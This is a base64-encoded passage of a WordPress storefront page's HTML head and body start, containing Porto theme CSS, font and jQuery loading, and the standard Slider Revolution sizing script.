mJlZm9yZSB7DQogICAgICAgICAgICBvcGFjaXR5OiAuNA0KICAgICAgICB9DQoNCiAgICAgICAgLnBvcnRvLXByb2R1Y3RzLWZpbHRlci1ib2R5IC5zaWRlYmFyIHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAwDQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogOTkycHgpIHsNCiAgICAgICAgICAgICNoZWFkZXIgLnNlYXJjaGZvcm0gew0KICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJlbQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAuaGVhZGVyLXdyYXBwZXIgI2hlYWRlciAuc2VhcmNoZm9ybSBidXR0b24gew0KICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDEycHgNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLmhlYWRlci13cmFwcGVyICNoZWFkZXIgLnNlYXJjaGZvcm0gaW5wdXQgew0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMTVweDsNCiAgICAgICAgICAgICAgICB3aWR0aDogYXV0bw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAjaGVhZGVyIC5oZWFkZXItY29udGFjdCB7DQogICAgICAgICAgICAgICAgZmxleDogMCAwIGF1dG87DQogICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7DQogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjEyNXJlbTsNCiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNzAwOw0KICAgICAgICAgICAgICAgIG9yZGVyOiAwDQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAjaGVhZGVyIC5zaGFyZS1saW5rcyBhIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMXJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAuNXJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogLjVyZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5oZWFkZXItc2lkZS1uYXYgLnNpZGViYXItbWVudSB7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwOw0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAtMjBweA0KICAgICAgICB9DQoNCiAgICAgICAgQG1lZGlhIChtYXgtd2lkdGg6IDE0MzlweCkgew0KICAgICAgICAgICAgLmhlYWRlci1zaWRlLW5hdiAuc2lkZWJhci1tZW51ID4gbGkubWVudS1pdGVtID4gYSwgLnRvZ2dsZS1tZW51LXdyYXAgLnNpZGViYXItbWVudSA+IGxpLm1lbnUtaXRlbSA+IGEgew0KICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxN3B4DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAuc2VjdGlvbi10aXRsZSB7DQogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogLjVyZW07DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2U3ZTdlNzsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEuNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgLmJ0biB7DQogICAgICAgICAgICBmb250LWZhbWlseTogUG9wcGluczsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDANCiAgICAgICAgfQ0KDQogICAgICAgIC5idG4tZmxhdCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBwYWRkaW5nOiAwICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBib3JkZXI6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudA0KICAgICAgICB9DQoNCiAgICAgICAgLnBvcnRvLWliYW5uZXItbGF5ZXIgLmJ0bi1mbGF0LmJ0bi14bCB7DQogICAgICAgICAgICBmb250LXNpemU6IDEuMTI1ZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5vd2wtY2Fyb3VzZWwubmF2LXN0eWxlLTQgLm93bC1uYXYgW2NsYXNzKj0ib3dsLSJdIHsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDANCiAgICAgICAgfQ0KDQogICAgICAgIC5zaW5nbGUtcHJvZHVjdCAucHJvZHVjdC1sYXlvdXQtdHJhbnNwYXJlbnQgew0KICAgICAgICAgICAgbWFyZ2luLXRvcDogLTIwcHgNCiAgICAgICAgfQ0KDQogICAgICAgIHVsLnByb2R1Y3RzIGxpLnByb2R1Y3Qtb25pbWFnZTMgLnByb2R1Y3QtY29udGVudCB7DQogICAgICAgICAgICBvcGFjaXR5OiAxOw0KICAgICAgICAgICAgYm90dG9tOiAwDQogICAgICAgIH0NCg0KICAgICAgICAucGFnaW5hdGlvbi5sb2FkLW1vcmUgLm5leHQgew0KICAgICAgICAgICAgd2lkdGg6IGF1dG87DQogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDAwOw0KICAgICAgICAgICAgY29sb3I6ICNmZmY7DQogICAgICAgICAgICBmb250LWZhbWlseTogUG9wcGluczsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE0cHggNDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLmNvdXBvbi1zYWxlLXRleHQgYiB7DQogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7DQogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgICBjb2xvcjogI2ZmZjsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogMWVtDQogICAgICAgIH0NCg0KICAgICAgICAuY291cG9uLXNhbGUtdGV4dCBiOmJlZm9yZSB7DQogICAgICAgICAgICBjb250ZW50OiAnJzsNCiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICAgICAgICAgIGxlZnQ6IC0uNWVtOw0KICAgICAgICAgICAgdG9wOiAtLjFlbTsNCiAgICAgICAgICAgIHJpZ2h0OiAtLjVlbTsNCiAgICAgICAgICAgIGJvdHRvbTogLS4xZW07DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjIyNTI5Ow0KICAgICAgICAgICAgei1pbmRleDogLTE7DQogICAgICAgICAgICB0cmFuc2Zvcm06IHJvdGF0ZSgtMS41ZGVnKSBza2V3KDEuNWRlZykNCiAgICAgICAgfQ0KDQogICAgICAgIC5zaW5nbGUtcHJvZHVjdCAucHJvZHVjdF90aXRsZSB7DQogICAgICAgICAgICBmb250LWZhbWlseTogUG9wcGlucw0KICAgICAgICB9DQoNCiAgICAgICAgLnBvcnRvLXJlbGF0ZWQtcHJvZHVjdHMgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogbm9uZTsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAwDQogICAgICAgIH0NCg0KICAgICAgICAjY29udGVudC1ib3R0b20gKyAucG9ydG8tcmVsYXRlZC1wcm9kdWN0cyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjRmNGY0Ow0KICAgICAgICAgICAgcGFkZGluZy10b3A6IDQwcHgNCiAgICAgICAgfQ0KDQogICAgICAgIC50eXBlLXByb2R1Y3QgPiAucG9ydG8tcmVsYXRlZC1wcm9kdWN0cyB7DQogICAgICAgICAgICBwYWRkaW5nLXRvcDogNDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLmZvb3Rlci10b3Agew0KICAgICAgICAgICAgcGFkZGluZzogMA0KICAgICAgICB9DQoNCiAgICAgICAgLmZvb3Rlci10b3AgLnBvcnRvLWJsb2NrIHsNCiAgICAgICAgICAgIGJvcmRlci13aWR0aDogMXB4IDA7DQogICAgICAgICAgICBib3JkZXItc3R5bGU6IHNvbGlkOw0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjZTdlN2U3DQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC53aWRnZXQtdGl0bGUgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxNXB4Ow0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMA0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuc2hhcmUtbGlua3MgYSB7DQogICAgICAgICAgICBib3gtc2hhZG93OiBub25lOw0KICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4Ow0KICAgICAgICAgICAgd2lkdGg6IDM2cHg7DQogICAgICAgICAgICBoZWlnaHQ6IDM2cHg7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxOHB4DQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5jb250YWN0LWluZm8gaSB7DQogICAgICAgICAgICBkaXNwbGF5OiBub25lDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5jb250YWN0LWluZm8gLmNvbnRhY3QtZGV0YWlscyBzdHJvbmcsICNmb290ZXIgLmNvbnRhY3QtaW5mbyAuY29udGFjdC1kZXRhaWxzIHNwYW4gew0KICAgICAgICAgICAgcGFkZGluZzogMA0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuY29udGFjdC1pbmZvIC5jb250YWN0LWRldGFpbHMgc3Ryb25nIHsNCiAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7DQogICAgICAgICAgICBsaW5lLWhlaWdodDogMQ0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuZm9vdGVyLW1haW4gPiAuY29udGFpbmVyIHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAyLjI1cmVtOw0KICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDANCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLmZvb3Rlci1tYWluID4gLmNvbnRhaW5lcjphZnRlciB7DQogICAgICAgICAgICBjb250ZW50OiAnJzsNCiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOw0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNlN2U3ZTcNCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLndpZGdldF93eXNpamFfY29udCAud3lzaWphLWlucHV0IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmNGY0ZjQ7DQogICAgICAgICAgICBmb250LXNpemU6IC44MTI1cmVtOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMnJlbSAwIDAgMnJlbTsNCiAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMS4yNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAud2lkZ2V0X3d5c2lqYV9jb250IC53eXNpamEtc3VibWl0IHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogLjgxMjVyZW07DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwOw0KICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDAgMnJlbSAycmVtIDA7DQogICAgICAgICAgICBwYWRkaW5nOiAwIDEuNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuZm9vdGVyLWJvdHRvbSB7DQogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogM3JlbTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweA0KICAgICAgICB9DQoNCiAgICAgICAgLmhvbWUtc2xpZGVyIC5wb3J0by1pYmFubmVyIHsNCiAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDEwMHZoDQogICAgICAgIH0NCg0KICAgICAgICAjdG9wY29udHJvbCB7DQogICAgICAgICAgICBkaXNwbGF5OiBub25lICFpbXBvcnRhbnQNCiAgICAgICAgfQ0KDQogICAgICAgIC5tYXgtd2lkdGgtMTAwIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogZml0LWNvbnRlbnQNCiAgICAgICAgfQ0KDQogICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA0ODBweCkgew0KICAgICAgICAgICAgLnBvcnRvLWliYW5uZXItbGF5ZXIgew0KICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogOXB4DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2dvb2dsZS1mb250cy0xLWNzcycNCiAgICAgICAgICBocmVmPSdodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9Um9ib3RvJTNBMTAwJTJDMTAwaXRhbGljJTJDMjAwJTJDMjAwaXRhbGljJTJDMzAwJTJDMzAwaXRhbGljJTJDNDAwJTJDNDAwaXRhbGljJTJDNTAwJTJDNTAwaXRhbGljJTJDNjAwJTJDNjAwaXRhbGljJTJDNzAwJTJDNzAwaXRhbGljJTJDODAwJTJDODAwaXRhbGljJTJDOTAwJTJDOTAwaXRhbGljJTdDUm9ib3RvK1NsYWIlM0ExMDAlMkMxMDBpdGFsaWMlMkMyMDAlMkMyMDBpdGFsaWMlMkMzMDAlMkMzMDBpdGFsaWMlMkM0MDAlMkM0MDBpdGFsaWMlMkM1MDAlMkM1MDBpdGFsaWMlMkM2MDAlMkM2MDBpdGFsaWMlMkM3MDAlMkM3MDBpdGFsaWMlMkM4MDAlMkM4MDBpdGFsaWMlMkM5MDAlMkM5MDBpdGFsaWMmIzAzODtkaXNwbGF5PXN3YXAmIzAzODt2ZXI9Ni4xLjUnDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxzY3JpcHQgc3JjPScvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS5taW4uanM/dmVyPTMuNi4xJyBpZD0nanF1ZXJ5LWNvcmUtanMnPjwvc2NyaXB0Pg0KICAgIDxzY3JpcHQgc3JjPScvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS1taWdyYXRlLm1pbi5qcz92ZXI9My4zLjInIGlkPSdqcXVlcnktbWlncmF0ZS1qcyc+PC9zY3JpcHQ+DQoNCiAgICA8IS0tIEh1YlNwb3QgV29yZFByZXNzIFBsdWdpbiB2MTAuMC4xOTogZW1iZWQgSlMgZGlzYWJsZWQgYXMgYSBwb3J0YWxJZCBoYXMgbm90IHlldCBiZWVuIGNvbmZpZ3VyZWQgLS0+DQogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KICAgICAgICBXZWJGb250Q29uZmlnID0gew0KICAgICAgICAgICAgZ29vZ2xlOiB7ZmFtaWxpZXM6IFsnUG9wcGluczo0MDAsNTAwLDYwMCw3MDAsODAwJywgJ1BsYXlmYWlyK0Rpc3BsYXk6NDAwLDcwMCddfQ0KICAgICAgICB9Ow0KICAgICAgICAoZnVuY3Rpb24gKGQpIHsNCiAgICAgICAgICAgIHZhciB3ZiA9IGQuY3JlYXRlRWxlbWVudCgnc2NyaXB0JyksIHMgPSBkLnNjcmlwdHNbZC5zY3JpcHRzLmxlbmd0aCAtIDFdOw0KICAgICAgICAgICAgd2Yuc3JjID0gJ3t7cHJlZml4fX0vd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy93ZWJmb250LmpzJzsNCiAgICAgICAgICAgIHdmLmFzeW5jID0gdHJ1ZTsNCiAgICAgICAgICAgIHMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUod2YsIHMpOw0KICAgICAgICB9KShkb2N1bWVudCk7PC9zY3JpcHQ+DQogICAgPG5vc2NyaXB0Pg0KICAgICAgICA8c3R5bGU+Lndvb2NvbW1lcmNlLXByb2R1Y3QtZ2FsbGVyeSB7DQogICAgICAgICAgICBvcGFjaXR5OiAxICFpbXBvcnRhbnQ7DQogICAgICAgIH08L3N0eWxlPg0KICAgIDwvbm9zY3JpcHQ+DQogICAgPG1ldGEgbmFtZT0iZ2VuZXJhdG9yIg0KICAgICAgICAgIGNvbnRlbnQ9IlBvd2VyZWQgYnkgU2xpZGVyIFJldm9sdXRpb24gNi41LjIwIC0gcmVzcG9uc2l2ZSwgTW9iaWxlLUZyaWVuZGx5IFNsaWRlciBQbHVnaW4gZm9yIFdvcmRQcmVzcyB3aXRoIGNvbWZvcnRhYmxlIGRyYWcgYW5kIGRyb3AgaW50ZXJmYWNlLiIvPg0KICAgIDxzY3JpcHQ+ZnVuY3Rpb24gc2V0UkVWU3RhcnRTaXplKGUpIHsNCiAgICAgICAgLy93aW5kb3cucmVxdWVzdEFuaW1hdGlvbkZyYW1lKGZ1bmN0aW9uKCkgew0KICAgICAgICB3aW5kb3cuUlNJVyA9IHdpbmRvdy5SU0lXID09PSB1bmRlZmluZWQgPyB3aW5kb3cuaW5uZXJXaWR0aCA6IHdpbmRvdy5SU0lXOw0KICAgICAgICB3aW5kb3cuUlNJSCA9IHdpbmRvdy5SU0lIID09PSB1bmRlZmluZWQgPyB3aW5kb3cuaW5uZXJIZWlnaHQgOiB3aW5kb3cuUlNJSDsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIHZhciBwdyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGUuYykucGFyZW50Tm9kZS5vZmZzZXRXaWR0aCwNCiAgICAgICAgICAgICAgICBuZXdoOw0KICAgICAgICAgICAgcHcgPSBwdyA9PT0gMCB8fCBpc05hTihwdykgPyB3aW5kb3cuUlNJVyA6IHB3Ow0KICAgICAgICAgICAgZS50YWJ3ID0gZS50YWJ3ID09PSB1bmRlZmluZWQgPyAwIDogcGFyc2VJbnQoZS50YWJ3KTsNCiAgICAgICAgICAgIGUudGh1bWJ3ID0gZS50aHVtYncgPT09IHVuZGVmaW5lZCA/IDAgOiBwYXJzZUludChlLnRodW1idyk7DQogICAgICAgICAgICBlLnRhYmggPSBlLnRhYmggPT09IHVuZGVmaW5lZCA/IDAgOiBwYXJzZUludChlLnRhYmgpOw0KICAgICAgICAgICAgZS50aHVtYmggPSBlLnRodW1iaCA9PT0gdW5kZWZpbmVkID8gMCA6IHBhcnNlSW50KGUudGh1bWJoKTsNCiAgICAgICAgICAgIGUudGFiaGlkZSA9IGUudGFiaGlkZSA9PT0gdW5kZWZpbmVkID8gMCA6IHBhcnNlSW50KGUudGFiaGlkZSk7DQogICAgICAgICAgICBlLnRodW1iaGlkZSA9IGUudGh1bWJoaWRlID09PSB1bmRlZmluZWQgPyAwIDogcGFyc2VJbnQoZS50aHVtYmhpZGUpOw0KICAgICAgICAgICAgZS5taCA9IGUubWggPT09IHVuZGVmaW5lZCB8fCBlLm1oID09ICIiIHx8IGUubWggPT09ICJhdXRvIiA/IDAgOiBwYXJzZUludChlLm1oLCAwKTsNCiAgICAgICAgICAgIGlmIChlLmxheW91dCA9PT0gImZ1bGxzY3JlZW4iIHx8IGUubCA9PT0gImZ1bGxzY3JlZW4iKQ0KICAgICAgICAgICAgICAgIG5ld2ggPSBNYXRoLm1heChlLm1oLCB3aW5kb3cuUlNJSCk7DQogICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICBlLmd3ID0gQXJyYXkuaXNBcnJheShlLmd3KSA/IGUuZ3cgOiBbZS5nd107DQogICAgICAgICAgICAgICAgZm9yICh2YXIgaSBpbiBlLnJsKSBpZiAoZS5nd1tpXSA9PT0gdW5kZWZpbmVkIHx8IGUuZ3dbaV0gPT09IDApIGUuZ3dbaV0gPSBlLmd3W2kgLSAxXTsNCiAgICAgICAgICAgICAgICBlLmdoID0gZS5lbCA9PT0gdW5kZWZpbmVkIHx8IGUuZWwgPT09ICIiIHx8IChBcnJheS5pc0FycmF5KGUuZWwpICYmIGUuZWwubGVuZ3RoID09IDApID8gZS5naCA6IGUuZWw7DQogICAgICAgICAgICAgICAgZS5naCA9IEFycmF5LmlzQXJyYXkoZS5naCkgPyBlLmdoIDogW2UuZ2hdOw0KICAgICAgICAgICAgICAgIGZvciAodmFyIGkgaW4gZS5ybCkgaWYgKGUuZ2hbaV0gPT09IHVuZGVmaW5lZCB8fCBlLmdoW2ldID09PSAwKSBlLmdoW2ldID0gZS5naFtpIC0gMV07DQoNCiAgICAgICAgICAgICAgICB2YXIgbmwgPSBuZXcgQXJyYXkoZS5ybC5sZW5ndGgpLA0KICAgICAgICAgICAgICAgICAgICBpeCA9IDAsDQogICAgICAgICAgICAgICAgICAgIHNsOw0KICAgICAgICAgICAgICAgIGUudGFidyA9IGUudGFiaGlkZSA+PSBwdyA/IDAgOiBlLnRhYnc7DQogICAgICAgICAgICAgICAgZS50aHVtYncgPSBlLnRodW1iaGlkZSA+PSBwdyA/IDAgOiBlLnRodW1idzsNCiAgICAgICAgICAgICAgICBlLnRhYmggPSBlLnRhYmhpZGUgPj0gcHcgPyAwIDogZS50YWJoOw0KICAgICAgICAgICAgICAgIGUudGh1bWJoID0gZS50aHVtYmhpZGUgPj0gcHcgPyAwIDogZS50aHVtYmg7DQogICAgICAgICAgICAgICAgZm9yICh2YXIgaSBpbiBlLnJsKSBubFtpXSA9IGUucmxbaV0gPCB3aW5kb3cuUlNJVyA/IDAgOiBlLnJsW2ldOw0KICAgICAgICAgICAgICAgIHNsID0gbmxbMF07DQogICAgICAgICAgICAgICAgZm9yICh2YXIgaSBpbiBubCkgaWYgKHNsID4gbmxbaV0gJiYgbmxbaV0gPiAwKSB7DQogICAgICAgICAgICAgICAgICAgIHNsID0gbmxbaV07DQogICAgICAgICAgICAgICAgICAgIGl4ID0gaTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgdmFyIG0gPSBwdyA+IChlLmd3W2l4XSArIGUudGFidyArIGUudGh1bWJ3KSA/IDEgOiAocHcgLSAoZS50YWJ3ICsgZS50aHVtYncpKSAvIChlLmd3W2l4XSk7DQogICAgICAgICAgICAgICAgbmV3aCA9IChlLmdoW2l4XSAqIG0pICsgKGUudGFiaCArIGUudGh1bWJoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHZhciBlbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGUuYyk7DQogICAgICAgICAgICBpZiAoZWwgIT09IG51bGwgJiYgZWwpIGVsLnN0eWxlLmhlaWdodCA9IG5ld2ggKyAicHgiOw0KICAgICAgICAgICAgZWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlLmMgKyAiX3dyYXBwZXIiKTsNCiAgICAgICAgICAgIGlmIChlbCAhPT0gbnVsbCAmJiBlbCkgew0KICAgICAgICAgICAgICAgIGVsLnN0eWxlLmhlaWdodCA9IG5ld2ggKyAicHgiOw0KICAgICAgICAgICAgICAgIGVsLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICBjb25zb2xlLmxvZygiRmFpbHVyZSBhdCBQcmVzaXplIG9mIFNsaWRlcjoiICsgZSkNCiAgICAgICAgfQ0KICAgICAgICAvL30pOw0KICAgIH07PC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keSBjbGFzcz0iaG9tZSBwYWdlLXRlbXBsYXRlLWRlZmF1bHQgcGFnZSBwYWdlLWlkLTE0MyB3cC1lbWJlZC1yZXNwb25zaXZlIHRoZW1lLXBvcnRvIHdvb2NvbW1lcmNlLW5vLWpzIGxvZ2luLXBvcHVwIHdpZGUgYmxvZy0xIGJvZHktc2lkZSBlbGVtZW50b3ItZGVmYXVsdCBlbGVtZW50b3Ita2l0LTIxNTIgZWxlbWVudG9yLXBhZ2UgZWxlbWVudG9yLXBhZ2UtMTQzIj4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1kYXJrLWdyYXlzY2FsZSI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNDk4MDM5MjE1Njg2MjciLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC40OTgwMzkyMTU2ODYyNyIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjQ5ODAzOTIxNTY4NjI3Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1ncmF5c2NhbGUiPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtcHVycGxlLXllbGxvdyI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0i